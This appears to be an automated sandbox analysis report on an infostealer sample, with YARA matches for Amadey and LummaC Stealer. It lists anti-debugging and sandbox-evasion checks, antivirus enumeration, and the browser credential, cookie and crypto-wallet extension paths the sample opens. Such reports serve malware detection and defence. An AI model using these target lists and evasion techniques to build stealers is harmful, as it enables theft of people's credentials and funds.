Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: random.exe, 00000000.00000003.1055926565.0000000001789000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1058517148.0000000001789000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(}
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: random.exe, 00000000.00000003.1007345023.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1058708309.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.985730914.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.971336341.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.981160952.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017317907.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.927968991.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055926565.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: random.exe, 00000000.00000002.1057318917.0000000001087000.00000040.00000001.01000000.00000003.sdmp, LOVY9V33XUNTEHY6.exe, 00000003.00000002.1154251882.0000000000DE4000.00000040.00000001.01000000.00000006.sdmp, rapes.exe, 00000004.00000002.1140539996.0000000001014000.00000040.00000001.01000000.00000009.sdmp, rapes.exe, 00000005.00000002.1167369698.0000000001014000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: random.exe, 00000000.00000003.943098710.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\random.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\random.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

Code function: 3_2_04D505E2 rdtsc

3_2_04D505E2

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"

Jump to behavior

Source: rapes.exe, rapes.exe, 00000005.00000002.1167369698.0000000001014000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: iProgram Manager
Source: random.exe, random.exe, 00000000.00000002.1057318917.0000000001087000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\random.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: random.exe, 00000000.00000003.985730914.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007345023.0000000001817000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.985730914.00000000017BD000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.985407310.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007637717.000000000181C000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.985678225.0000000001818000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.991922411.00000000061F9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\random.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 5.2.rapes.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.LOVY9V33XUNTEHY6.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rapes.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1154084716.0000000000BF1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1167203467.0000000000E21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: 0.2.random.exe.ea0000.0.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
